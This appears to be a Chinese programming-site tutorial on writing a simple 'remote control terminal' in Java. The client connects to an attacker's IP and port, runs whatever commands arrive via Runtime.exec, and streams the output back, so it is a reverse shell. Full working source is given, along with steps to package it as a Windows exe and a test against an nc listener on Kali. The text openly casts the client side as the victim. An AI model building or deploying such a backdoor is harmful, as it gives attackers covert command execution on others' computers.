基于Java制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端
遠(yuǎn)控終端的本質(zhì)
1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來(lái)的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果
Java制作簡(jiǎn)易的遠(yuǎn)控
1、環(huán)境
環(huán)境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe
2、新建項(xiàng)目
打開(kāi)idea,直接新建一個(gè)最普通的Java項(xiàng)目即可。
3、新建一個(gè)Java類
4、編寫(xiě)程序
(1)導(dǎo)入需要使用到的類包
import java.io.*; import java.net.Socket; import java.nio.charset.StandardCharsets;
(2)編寫(xiě)main方法
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { } }
(3)建立socket連接
public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); } catch (IOException e) { e.printStackTrace(); } }
(4)接收服務(wù)端傳輸?shù)南?即命令)
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { // inputStream接收服務(wù)端傳入的字節(jié)流數(shù)據(jù) InputStream inputStream = socket.getInputStream(); // 定義客戶端以一個(gè)字節(jié)大小的方式接收服務(wù)端傳入的字節(jié)流數(shù)據(jù) byte[] bytes = new byte[1]; // 服務(wù)端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令 String command = ""; while (true) { // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { // 將服務(wù)端傳入的字節(jié)流數(shù)據(jù)以一個(gè)字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中 inputStream.read(bytes); // 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進(jìn)制數(shù)據(jù) String hexString = BytesToHexString(bytes); // 將16進(jìn)制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令 command += HexStringToString(hexString); // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過(guò)以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { // 去掉服務(wù)端傳回來(lái)命令的空格 command = command.trim(); // 如果傳回來(lái)的命令為exit,就直接斷開(kāi)連接 if (command.equals("exit")) { return; } } } } } } ... } }
其中需要將接收數(shù)據(jù)的字節(jié)流先轉(zhuǎn)化為16進(jìn)制數(shù)據(jù),再將16進(jìn)制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù),這里分別自定義了兩個(gè)靜態(tài)方法:BytesToHexString和HexStringToString。
兩個(gè)方法的定義如下:
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { ...... } // 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進(jìn)制數(shù)據(jù) public static String BytesToHexString(byte[] bytes) { if (bytes == null) { return null; } char[] hexArray = "0123456789ABCDEF".toCharArray(); char[] hexChars = new char[bytes.length * 2]; for (int i = 0; i < bytes.length; i++) { int temp = bytes[i] & 0xFF; hexChars[i * 2] = hexArray[temp >> 4]; hexChars[i * 2 + 1] = hexArray[temp & 0x0F]; } return new String(hexChars); } // 將16進(jìn)制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù) public static String HexStringToString(String hexString) { byte[] array = new byte[hexString.length() / 2]; try { for (int i = 0; i < array.length; i++) { array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16)); } hexString = new String(array, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return ""; } return hexString; }
(5)執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來(lái)的命令)
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { ....... while (true) { // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { ...... // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過(guò)以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { ...... } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務(wù)端傳回來(lái)的命令,將命令的執(zhí)行過(guò)程交給exec進(jìn)程 Process exec = Runtime.getRuntime().exec(command); } catch (Exception e) { e.printStackTrace(); } } } } } } ...... } }
(6)將執(zhí)行結(jié)果返回給服務(wù)端
... import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { ....... while (true) { // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { ...... // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過(guò)以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { ...... } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務(wù)端傳回來(lái)的命令,將命令的執(zhí)行過(guò)程交給exec進(jìn)程 Process exec = Runtime.getRuntime().exec(command); // 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中 InputStream results = exec.getInputStream(); // 考慮到執(zhí)行命令的返回結(jié)果可能會(huì)有中文字符,所以采用BufferedReader BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務(wù)端 DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line = null; // 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫(xiě)入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進(jìn)行刷新 while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); dataOutputStream.flush(); } // 進(jìn)程等待 exec.waitFor(); // 關(guān)閉輸入流 results.close(); // 關(guān)閉讀入流 reader.close(); // 銷毀進(jìn)程對(duì)象 exec.destroy(); break; } catch (Exception e) { e.printStackTrace(); } finally { // 將存放命令的字符串置位空,防止下次執(zhí)行命令的時(shí)候?qū)⒃摯蚊钜矌雸?zhí)行 command = ""; } } } } } } ...... } }
至此,Java編寫(xiě)遠(yuǎn)程控制終端完成!
(7)測(cè)試遠(yuǎn)控終端的可用性
打開(kāi)一臺(tái)kali虛擬機(jī)(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽(tīng)9999端口。
連接成功,遠(yuǎn)控終端制作完成!
5、將項(xiàng)目打包成jar包并生成exe文件
(1)打成jar包
步驟一
點(diǎn)擊文件 --> 點(diǎn)擊項(xiàng)目結(jié)構(gòu)。
步驟二
點(diǎn)擊工件 --> 點(diǎn)擊JAR --> 點(diǎn)擊來(lái)自具有…。
步驟三
將主類設(shè)為main函數(shù)所在的Java類 --> 點(diǎn)擊確定。
步驟四
點(diǎn)擊確定。
步驟五
點(diǎn)擊構(gòu)建 --> 點(diǎn)擊構(gòu)建項(xiàng)目
步驟六
再次點(diǎn)擊構(gòu)建 --> 點(diǎn)擊構(gòu)建工件
步驟七
點(diǎn)擊構(gòu)建即可。
步驟八
這時(shí)會(huì)在項(xiàng)目out\artifacts\remoteControl_jar目錄下,生成了一個(gè)Jar文件。直接復(fù)制拖出來(lái)即可。
至此打包jar包完成。
(2)生成exe文件
使用exe4j(官網(wǎng)下載地址:https://exe4j.apponic.com/ )將jar包生成exe文件。
步驟一
打開(kāi)exe4j --> next。
步驟二
選擇"JAR in EXE"mode --> next
步驟三
填寫(xiě)相關(guān)內(nèi)容 --> next。
步驟四
填寫(xiě)exe文件名字 --> 選擇exe圖標(biāo) --> 設(shè)置Advanced Options為32-bit or 64-bit。
步驟五
勾選選項(xiàng) --> next。
步驟六
next。
步驟七
添加jar包 --> 選擇jar包的存放路徑 --> 選擇jar包main函數(shù)所在的主類 --> next。
步驟八
選擇jdk兼容最低的版本 --> 勾選"Allow JREs with a beta version number" --> next
步驟九
之后就一直next即可。
exe文件成功生成。
(3)測(cè)試exe文件的可用性
kali服務(wù)端監(jiān)聽(tīng)端口。
點(diǎn)擊運(yùn)行生成的exe文件。
點(diǎn)擊確定。
連接成功,Java制作遠(yuǎn)程控制終端完成!
附完整代碼
import java.io.*; import java.net.Socket; import java.nio.charset.StandardCharsets; public class RemoteControl { public static void main(String[] args) { try { // 建立socket連接 Socket socket = new Socket("192.168.6.142", 9999); // 建立成功后while循環(huán)保持連接 while (true) { // inputStream接收服務(wù)端傳入的字節(jié)流數(shù)據(jù) InputStream inputStream = socket.getInputStream(); // 定義客戶端以一個(gè)字節(jié)大小的方式接收服務(wù)端傳入的字節(jié)流數(shù)據(jù) byte[] bytes = new byte[1]; // 服務(wù)端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令 String command = ""; while (true) { // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完 if (inputStream.available() > 0) { // 將服務(wù)端傳入的字節(jié)流數(shù)據(jù)以一個(gè)字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中 inputStream.read(bytes); // 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進(jìn)制數(shù)據(jù) String hexString = BytesToHexString(bytes); // 將16進(jìn)制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令 command += HexStringToString(hexString); // 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過(guò)以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止 if (inputStream.available() == 0) { // 去掉服務(wù)端傳回來(lái)命令的空格 command = command.trim(); // 如果傳回來(lái)的命令為exit,就直接斷開(kāi)連接 if (command.equals("exit")) { return; } // 執(zhí)行命令并返回結(jié)果 try { // 執(zhí)行服務(wù)端傳回來(lái)的命令,將命令的執(zhí)行過(guò)程交給exec進(jìn)程 Process exec = Runtime.getRuntime().exec(command); // 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中 InputStream results = exec.getInputStream(); // 考慮到執(zhí)行命令的返回結(jié)果可能會(huì)有中文字符,所以采用BufferedReader BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務(wù)端 DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line = null; // 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫(xiě)入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進(jìn)行刷新 while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); dataOutputStream.flush(); } // 進(jìn)程等待 exec.waitFor(); // 關(guān)閉輸入流 results.close(); // 關(guān)閉讀入流 reader.close(); // 銷毀進(jìn)程對(duì)象 exec.destroy(); break; } catch (Exception e) { e.printStackTrace(); } finally { // 將存放命令的字符串置位空,防止下次執(zhí)行命令的時(shí)候?qū)⒃摯蚊钜矌雸?zhí)行 command = ""; } } } } } } catch (IOException e) { e.printStackTrace(); } } // 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進(jìn)制數(shù)據(jù) public static String BytesToHexString(byte[] bytes) { if (bytes == null) { return null; } char[] hexArray = "0123456789ABCDEF".toCharArray(); char[] hexChars = new char[bytes.length * 2]; for (int i = 0; i < bytes.length; i++) { int temp = bytes[i] & 0xFF; hexChars[i * 2] = hexArray[temp >> 4]; hexChars[i * 2 + 1] = hexArray[temp & 0x0F]; } return new String(hexChars); } // 將16進(jìn)制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù) public static String HexStringToString(String hexString) { byte[] array = new byte[hexString.length() / 2]; try { for (int i = 0; i < array.length; i++) { array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16)); } hexString = new String(array, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return ""; } return hexString; } }
以上就是基于Java制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端的詳細(xì)內(nèi)容,更多關(guān)于Java遠(yuǎn)控終端的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
淺談在Spring中如何使用數(shù)據(jù)源(DBCP、C3P0、JNDI)
這篇文章主要介紹了淺談在Spring中如何使用數(shù)據(jù)源(DBCP、C3P0、JNDI),小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2018-10-10Java實(shí)現(xiàn)深度優(yōu)先搜索(DFS)和廣度優(yōu)先搜索(BFS)算法
深度優(yōu)先搜索(DFS)和廣度優(yōu)先搜索(BFS)是兩種基本的圖搜索算法,可用于圖的遍歷、路徑搜索等問(wèn)題。DFS采用棧結(jié)構(gòu)實(shí)現(xiàn),從起點(diǎn)開(kāi)始往深處遍歷,直到找到目標(biāo)節(jié)點(diǎn)或遍歷完整個(gè)圖;BFS采用隊(duì)列結(jié)構(gòu)實(shí)現(xiàn),從起點(diǎn)開(kāi)始往廣處遍歷,直到找到目標(biāo)節(jié)點(diǎn)或遍歷完整個(gè)圖2023-04-04解決SpringMvc后臺(tái)接收json數(shù)據(jù)中文亂碼問(wèn)題的幾種方法
本篇文章主要介紹了解決SpringMvc后臺(tái)接收json數(shù)據(jù)中文亂碼問(wèn)題的幾種方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-01-01java類中生成jfreechart,返回圖表的url地址 代碼分享
這篇文章介紹了java類中生成jfreechart,返回圖表的url地址的代碼,有需要的朋友可以參考一下2013-08-08Java SPI 機(jī)制知識(shí)點(diǎn)總結(jié)
在本篇文章里小編給大家整理的是一篇關(guān)于Java SPI 機(jī)制知識(shí)點(diǎn)總結(jié)內(nèi)容,需要的朋友們可以參考下。2020-02-02java 實(shí)現(xiàn)雙向鏈表實(shí)例詳解
這篇文章主要介紹了java 實(shí)現(xiàn)雙向鏈表實(shí)例詳解的相關(guān)資料,需要的朋友可以參考下2017-03-03